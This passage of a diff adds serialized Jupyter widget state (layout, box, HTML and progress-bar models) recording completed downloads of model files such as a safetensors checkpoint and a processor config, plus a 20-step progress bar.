"_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_af113f9b9b1749f0a856b3f371f03a2d", + "IPY_MODEL_83cb84140f504cdaa6d5ed308baaa9bf", + "IPY_MODEL_f81e6ba8c0ee4d19afc1691be3650a94" + ], + "layout": "IPY_MODEL_8bc53de7028e4a05bc683a6f47548d62" + } + }, + "7267e3d447ef4dfa97c3fc6a560ea797": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "72d25c37112c403eaf801833a03a47b2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "72fb9eafc22a4533a62e3189f3b65b04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_febabb96db10490f835e4c5f6512ea61", + "IPY_MODEL_5fc991cde70546d3a665982956cca6b5", + "IPY_MODEL_f5e6af9d73ed4f3d9726bffba48540ee" + ], + "layout": "IPY_MODEL_7027773c6c484afa9ee32448a320f948" + } + }, + "72fc016402374ad996a292470fa75906": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7301b1053b6446da9756caeb59d5be8b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7427e45c55994a6fa304d6d58ffeb1fb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "743a58e2430947808aac30953973ec71": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a56166c024494356bc1b9a9e9a434c86", + "placeholder": "​", + "style": "IPY_MODEL_e404d2f75cdc4a9397c82bca53ca3fad", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "745c74b4ac1942c497d0bee51b2e7b17": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "74702e35e09048eabfb470dc85fb5be4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d6a728463cce43d2a0c8573e5faf2dde", + "placeholder": "​", + "style": "IPY_MODEL_e59d5e76445943c39cdb32721727d3e8", + "value": " 547/547 [00:00<00:00, 7.79kB/s]" + } + }, + "75837fa1f8ed4a7b8734f0c49e3bb6d0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7669fb4960904becb83cbdc4169a121b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7699034aeb584f12864aaa30a7f2e6b5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "77a73421b7ae4bfe9fcb87353a121402": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "77ad5edb54bb4e30bdd82186e80367c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "783dca59f6a54589b6fb848cb13c5f3f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "78493887a0f5466cbfe8dff7f5fbd801": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "79b1b7bd05714b528d9a617b1c875dfe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7a47a1e4f4ef448e83659bf90c874eda": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_61e2139115904b94967c220fd214b5df", + "IPY_MODEL_846c2df4629c416baea2612ea2c84a16", + "IPY_MODEL_206b5b9596ff43b68126735ad6b31929" + ], + "layout": "IPY_MODEL_25d01861ca0c45d3a5f57932d9754834" + } + }, + "7aed2e247f5e488991be8b97ab6bae6a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f8b042b72ea1403284bc45b55cbfcdcf", + "IPY_MODEL_9dcbc2386e3c4d6e820fd6baed91f0df", + "IPY_MODEL_67768915a19a448c94620204f861d005" + ], + "layout": "IPY_MODEL_a218d578aded48ba8acca854622c14a9" + } + }, + "7afd5032c0964fc5823189e2fc8599ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c9311122d93c495faa2a8e0f4b8f7662", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_58657e2570434d73be122eafb42f490a", + "value": 20 + } + }, + "7b0ece2c75614540a942214d1f527f91": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7b9508943bee4f76b996ba561d4bbe9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7bee130b66754bbc85e8454455ece425": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7c2b45b1cf2a485b93e52b2dee04a278": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cd3b5a0ce274ae5b5954a3c7d9d3bb4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f357992a28754d7689721ebda28f0b0f", + "placeholder": "​", + "style": "IPY_MODEL_2f8938d9a9254868869767a332bdf84f", + "value": " 20/20 [00:03<00:00, 6.92it/s]" + } + }, + "7d10f1e6258943dd86d9c75aa17553c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_193fa11998404439b90913f5f5b4619e", + "IPY_MODEL_0383c8a7e3384eec9205dc8f37654ee4", + "IPY_MODEL_4615b3c5ce674070840fbb7bcb54f262" + ], + "layout": "IPY_MODEL_b57f5b94be66435fab8e8aa9b877848c" + } + }, + "7d6d17a2798c41c6b27c25e1057869a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7d9df7ed952144dfacc3d2908497ce94": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_7010861902ab409e9a4f65efad33683c", + "IPY_MODEL_978ecf658d464bc999bc8a5c540e3ad0", + "IPY_MODEL_198e8a1603fc40218d805d46da1cc603" + ], + "layout": "IPY_MODEL_ee7d2281e6964da8a3e610343a7de76d" + } + }, + "7db99c4ea5e14e9bb5180a5beb4cc142": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7e03365b6d25414eb845c51aa30e3d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7e5f077830e94e278b213ee5f11739d9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7efd39ed94f94ecd9292069da0697a5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7f1b3b31059e4abbbe62bd88da98627d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0ee14dea902c4efe81c616f34dbc7562", + "IPY_MODEL_e43b78d4e4844565ad39e979861285a8", + "IPY_MODEL_9ba3483798e8439aab7d5560c1a5bac1" + ], + "layout": "IPY_MODEL_993b867eff394cfe843eb18ee194b8d6" + } + }, + "7f27d4dadc2a4c4783f35193cf085593": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6d8e99610d624a09a53ef0c77b3f0c25", + "max": 547, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b9df58ad481f414f8240ce076cf53363", + "value": 547 + } + }, + "7f36f3521fa14a37b0fad0702bf9a4e3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7f49c5a346894250ad0587fa3420635a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c318de49fe3a455992738cf20f7099ad", + "IPY_MODEL_3ff34cbabc564abebd12a9e5e19786b0", + "IPY_MODEL_611bde262a924746a253ab5481b9b212" + ], + "layout": "IPY_MODEL_3ae595d0044944ea959d949d8c68d509" + } + }, + "810aba56f12342fcbcb7344d08235ec8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bf52593db97e4b5f876d22d5c27e8c0d", + "max": 209267595, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ed79049f4f3a41899ce7744c6733bf27", + "value": 209267595 + } + }, + "8119e3c1840d4e0b975055cb0c255208": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "814f29773b6b40d99d03320a3f5fe7d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_36de2037f4b841afb366f27a7eb08396", + "placeholder": "​", + "style": "IPY_MODEL_cb805d94485c4ff5a0aaec67e6cdb827", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "81b870c0f0b6482a9f1dbd3fac0d935c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": 